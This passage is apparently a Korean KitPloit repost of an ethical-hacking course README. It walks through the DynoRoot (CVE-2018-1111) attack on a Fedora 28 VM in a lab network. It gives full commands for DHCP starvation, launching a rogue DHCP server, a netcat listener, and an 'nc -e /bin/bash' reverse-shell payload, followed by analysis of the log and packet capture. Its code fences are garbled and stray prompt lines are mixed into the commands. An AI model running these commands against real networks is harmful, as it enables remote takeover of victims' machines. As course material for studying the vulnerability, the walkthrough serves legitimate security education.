                 updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
    dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.
    
    # Attacker gets and IP and a DNS entry
    dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
    dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
    dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
    dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
    named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': 
                 adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
    named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': 
                 adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
    dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
    named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
                 updating zone '0.168.192.in-addr.arpa/IN': 
                 deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
    named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
                 updating zone '0.168.192.in-addr.arpa/IN': 
                 adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
    dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
    

    -->

    Scapy가 포함된 Conda 환경:```bash sudo su cd wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh' chmod u+x Miniconda3-latest-Linux-x86_64.sh ./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda ./miniconda/bin/conda init source .bashrc

    conda create -y -n dynoroot python=3.6 conda activate dynoroot pip install 'scapy[complete]'

    root@kitploit:~
    다음으로, GitHub에서 두 개의 공격 스크립트를 가져옵니다:
    - **DHCP starvation**\
      이 스크립트는 정상적인 DHCP에 가짜 요청을 대량으로 보내
      사용 가능한 주소 풀을 고갈시킵니다.  ```bash
      git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
    
    • Rogue DHCP
      정상 DHCP가 주소를 모두 소진하면, 이 스크립트는 악성 매개변수가 포함된 DHCP offer를 제공할 준비가 됩니다. 이 스크립트는 원본 CVE)의 수정된 버전입니다: ```bash git clone 'https://github.com/baldassarreFe/CVE-2018-1111' --branch 'feature/ignore-mac'
      root@kitploit:~

    Fedora 피해자

    피해자 머신은 특별히 어떤 방식으로도 구성되어 있지 않으며, 그냥 Fedora 28 설치본에 취약한 NetworkManager가 있는 상태입니다.

    VM 생성

    Fedora ISO를 다운로드하세요:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF

    root@kitploit:~
    VM 생성:
    - 네트워크 인터페이스 1은 VirtualBox의 기본 NAT 네트워크에 연결됨
    - 네트워크 인터페이스 2는 `intnet` 내부 네트워크에 연결됨\
      (MAC 주소의 "f"는 Fedora를 의미함)
    - 호스트의 `600x` 포트를 가상 머신의 SSH 포트로 포트 포워딩```bash
    VM_NAME="fedora"
    VRDE_PORT=5003
    SSH_PORT=6003
    VM_MAC='08:00:ff:ff:ff:ff'
    
    VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
    VBoxManage modifyvm "${VM_NAME}" \
      --memory 2048 \
      --acpi on \
      --boot1 dvd \
      --nic1 nat \
      --nic2 'intnet' \
      --macaddress2 "${VM_MAC//:/}" \
      --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
      --audio none
    
    VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
    VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 0 \
      --type hdd \
      --medium "${VM_NAME}.vdi"
    
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 1 \
      --type dvddrive \
      --medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
    

    문제가 발생한 경우:```bash VBoxManage unregistervm "${VM_NAME}" --delete

    root@kitploit:~
    #### OS 설치
    처음으로 머신을 부팅할 때는 설치 단계를 진행하기 위해 가상 데스크톱이 필요합니다. 가상 머신을 헤드리스 모드로 시작하고 `rdesktop-vrdp`를 사용하여 연결할 수 있습니다. VirtualBox가 데스크톱 컴퓨터에서 실행 중이라면 GUI에서 가상 머신을 실행하는 것이 더 쉬울 수 있지만, 이 방법은 원격 VirtualBox 호스트에서도 작동합니다.```bash
    VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
    sleep 12 # Fedora is slow...
    rdesktop-vrdp "localhost:${VRDE_PORT}"
    kill %%
    

    설치 구성:

    • 호스트 이름 fedora
    • 사용자 victim
    • 비밀번호 vic
    • enp0s8이 DHCP를 사용하도록 설정
    • SSH 서버는 기본적으로 활성화되어 있음

    설치 후 시스템을 종료하고, ISO를 제거한 다음 VRDE를 비활성화합니다:```bash VBoxManage storageattach "${VM_NAME}"
    --storagectl "IDE Controller"
    --port 0
    --device 1
    --type dvddrive
    --medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

    root@kitploit:~
    #### SSH 로그인
    편의를 위해 위에서 생성한 SSH 키를 `victim` 머신에 설치할 수 있습니다:```bash
    VBoxHeadless --startvm "${VM_NAME}" &
    sleep 5
    ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
    ssh victim.ethhack
    

    네트워킹

    인터페이스 enp0s8이 DHCP를 사용 중인지 확인하세요:```bash sudo nmcli device show enp0s8

    root@kitploit:~
    그렇지 않으면, 다음을 사용하여 구성할 수 있습니다:```
    sudo nmcli connection down   enp0s8
    sudo nmcli connection modify enp0s8 IPv4.method auto
    sudo nmcli connection modify enp0s8 IPv4.address ''
    sudo nmcli connection up     enp0s8
    

    정적 IP로 되돌리려면:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8

    root@kitploit:~
    ## 공격 수행
    
    다음 단계를 순서대로 실행하면 DHCP 공격을 시연할 수 있습니다.
    [Byobu](https://www.byobu.org/)와 같은 터미널 멀티플렉서를 설정하여 
    한 머신에서 다른 머신으로 쉽게 이동할 수 있도록 하는 것이 좋습니다.
    
    공격 전:
    1. 3개의 가상 머신을 실행하면 자동으로 정상 DHCP에 연결됩니다.
    2. Fedora 머신을 분리하고 DHCP 임대 파일을 정리하여 새 연결을 시뮬레이션합니다.
    3. DHCP 서버를 다시 시작하여 새 연결을 시뮬레이션합니다.
    
    공격 자체는 다음으로 구성됩니다:
    1. 공격자가 일련의 가짜 DHCP REQUEST를 발생시켜 정상 DHCP 서버를 _고갈_시킵니다.
    2. 피해자에게 악성 OFFER를 보낼 불량 DHCP 서버를 시작합니다.
    3. Fedora 머신을 다시 연결하고 NetworkManager가 DHCP DISCOVER를 브로드캐스트할 때까지 기다립니다.
    4. 리버스 셸이 연결될 때까지 기다립니다.
    
    문제가 발생하면 관련 서비스를 모두 중지하고 처음부터 다시 시작하세요.
    
    ### Gateway
    이전 DHCP 임대와 ARP 테이블을 정리한 다음 DHCP를 다시 시작하십시오:```bash
    sudo systemctl stop isc-dhcp-server
    sudo rm /var/lib/dhcp/dhcpd.leases*
    sudo ip link set arp off dev enp0s8
    sudo ip link set arp on dev enp0s8
    
    sudo systemctl start isc-dhcp-server
    tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
    

    공격자

    새로운 DHCP 임대를 받으십시오:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8

    root@kitploit:~
    `tcpdump`를 사용하여 DHCP 트래픽을 기록하세요:```bash
    sudo ip link set enp0s8 promisc on
    sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
    

    또는 VirtualBox에서도 트래픽을 기록할 수 있습니다:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off

    root@kitploit:~
    DHCP 고갈 공격 실행(`root`로 실행):```
    sudo su && cd && conda activate dynoroot
    python FEP3370-advanced-ethical-hacking/starver.py \
      --interface  enp0s8 \
      --pool-start 192.168.0.100 \
      --pool-end   192.168.0.105
    

    netcat을 사용하여 피해자로부터의 연결을 수신 대기합니다:``` nc -v -l -p 1337

    root@kitploit:~
    공격 실행 (`root`로 실행):```bash
    sudo su && cd && conda activate dynoroot
    MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
    MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
    python CVE-2018-1111/main.py \
      -i enp0s8 \
      -s 192.168.0.0/24 \
      -g 192.168.0.1 \
      -d 'victim.net' \
      -m "${MY_MAC}" \
      -p "nc -e /bin/bash ${MY_IP} 1337"
    

    희생자

    오래된 DHCP 임대를 정리하고 다시 연결하십시오:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete

    sudo nmcli connection up enp0s8 nmcli

    root@kitploit:~
    ### 분석
    
    #### 비디오 캡처
    다음 [비디오](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4)는 위의 단계에 따른 공격 실행을 보여줍니다. 
    비디오에서 다음을 관찰할 수 있습니다:
    1. `gateway`와 `attacker` 사이의 4-way DHCP 교환
    2. DHCP 고갈 공격. `attacker`의 콘솔과 DHCP 서버 로그 양쪽에서 확인할 수 있습니다
       (`attacker`의 기존 임대로 인한 `NACK`에 유의).
    3. `victim`이 DHCP `DISCOVER`를 브로드캐스트할 때 `gateway`가 표시하는 "no free leases" 메시지
    4. `192.168.0.2`를 제공하는 rogue DHCP 서버의 조작된 DHCP 메시지
    5. netcat이 `192.168.0.2`로부터 reverse shell 연결을 수신했다는 확인
    6. `victim`이 수신한 가짜 DNS 옵션,
       즉 DNS 주소 `192.168.0.1` 및 도메인 `victim.net`
    7. victim 머신에서 간단한 명령의 원격 코드 실행 성공
    8. 공격 종료 시 전송된 DHCP `RELEASE`
    
    <a href="https://youtu.be/rgjMzQ5ExyA">
      <img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
    </a>
    
    #### 트래픽 분석
    
    공격 추적을 담은 [캡처 파일](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap)은
    [Wireshark](https://wiki.wireshark.org/DHCP)에서 분석할 수 있습니다. 캡처에서 다음을 확인할 수 있습니다:
    1. `gateway`와 `attacker` 사이의 4-way DHCP 교환
    2. DHCP 고갈 공격
    3. `victim`이 시작하고 `attacker`가 완료한 DPCH 교환
    4. `victim`이 `attacker`의 netcat 세션에 연결했을 때의 ARP _who-has_ 요청 및 응답
    
    <figure style="text-align:center">
      <img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
      <figcaption>공격의 패킷 캡처로, 익스플로잇과 관련된 DHCP 옵션이 강조되어 있습니다. MAC 주소의 문자는 <code>d</code> DHCP 서버, <code>a</code> 공격자, <code>f</code> Fedora 피해자를 나타냅니다.</figcaption>
    </figure>
    
    ## 향후 작업
    DynoRoot는 오래된 Fedora 및 RedHat 배포판을 대상으로 하며, 최신 릴리스에서는 패치되었습니다.
    따라서 이 익스플로잇을 실제 환경에서 수행할 가능성은 제한적입니다. 다행히도 DHCP 공격은
    원격 코드 실행에 국한되지 않습니다. 어떤 유형의 조작된 옵션이라도 클라이언트가 수락하게 되며,
    DynoRoot 취약점의 존재 여부와는 무관합니다. 이 동작을 악용하는 가장 간단한 방법은
    공격자가 제어하는 머신을 네트워크 게이트웨이 또는 특정 영역의 DNS로 광고하여
    이후의 모든 트래픽을 모니터링하고 검사하며 다시 라우팅할 수 있게 하는 것입니다.
    
    또 다른 흥미로운 방향은 DHCP 고갈 공격에 관한 것입니다. 이 프로젝트에서 제시한 공격은
    스푸핑된 MAC 주소로 DHCP 서버에 `REQUESTS`를 플러딩하는 방식에 의존하며, 이는
    은밀하다고 볼 수 없습니다. 이 블로그 게시물은 
    [단 하나의 DHCP 패킷도 보내지 않고 고갈 공격을 수행하는 방법](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9) 
    대신 스푸핑된 ARP 응답에 의존하는 가능성을 탐구합니다.
    
    ## 크레딧
    [CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151)은 Google 보안 팀의
    [Felix Wilhelm](https://twitter.com/_fel1x)에 의해 Red Hat에 보고되었습니다.
    
    익스플로잇을 수행하는 파이썬 스크립트는 [Kevin Kirsche](https://github.com/kkirsche)의
    GitHub [저장소](https://github.com/kkirsche/CVE-2018-1111)에서 가져왔으며,
    공격자 자신의 MAC 주소를 무시하도록 약간 수정되었습니다.
    
    도구 다운로드